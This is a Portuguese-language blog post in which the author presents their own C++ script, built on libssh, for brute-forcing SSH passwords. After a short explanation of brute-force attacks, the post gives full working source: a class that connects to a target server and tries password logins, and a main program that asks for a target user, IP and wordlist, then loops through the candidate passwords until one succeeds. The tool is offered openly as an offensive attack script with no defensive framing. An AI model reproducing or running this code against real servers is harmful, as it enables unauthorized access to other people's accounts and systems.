Força Bruta SSH com C++
Introdução
Bem-vindo ao meu novo artigo, hoje vou mostrar meu script C++ para executar ataques SSH Brute Force.
O que é Força Bruta?
Informações por:
Um ataque de força bruta é um método de hacking que usa tentativa e erro para quebrar senhas, credenciais de login e chaves de criptografia. É uma tática simples, mas confiável, para obter acesso não autorizado a contas individuais e sistemas e redes de organizações. O hacker tenta vários nomes de usuário e senhas, muitas vezes usando um computador para testar uma ampla gama de combinações, até encontrar as informações de login corretas.
O nome “força bruta” vem de invasores que usam tentativas excessivamente contundentes para obter acesso a contas de usuários. Apesar de ser um método antigo de ataque cibernético, os ataques de força bruta são experimentados e testados e continuam sendo uma tática popular entre os hackers.
Neste artigo publicado anteriormente, forneci uma breve visão geral do Hydra e como ele funciona para SSH bruteforcing:
Hidra - Força Bruta
Código
Este é um bom momento para ver o código que usei para atacar servidores SSH com C++. Abaixo está um trecho do arquivo de classe para este PoC:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
O arquivo principal solicita informações sobre o usuário e o endereço IP para atacar e, em seguida, executa outras funções.
As outras funções estão no arquivo de classe SSHHost e possuem dois atributos, usuário e IP.
Em seguida, tenha um método construtor, métodos SSHConnection e SSHAuth . O SSHConnection retorna uma sessão que usou SSHAuth.
PoC
Execute o script e responda aos prompts do usuário de acordo:
As etapas incluídas neste método de ataque são muito fáceis de replicar e são um método de ataque válido no mundo cibernético moderno.
A saída acima mostra uma senha descoberta, indicando um ataque de força bruta bem-sucedido…
Conclusões
Este é um dos meus primeiros scripts ofensivos usando Classes e Objetos. Obrigado por ler o meu artigo. Espero que tenham gostado do conteúdo!
S12.





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)